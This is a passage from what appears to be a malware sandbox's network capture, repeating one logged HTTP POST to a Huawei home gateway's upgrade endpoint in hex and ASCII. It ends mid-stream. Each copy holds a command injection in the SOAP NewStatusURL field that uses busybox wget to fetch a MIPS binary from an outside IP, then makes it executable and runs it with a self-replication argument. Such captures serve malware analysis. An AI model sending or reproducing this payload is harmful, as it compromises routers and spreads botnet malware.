4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 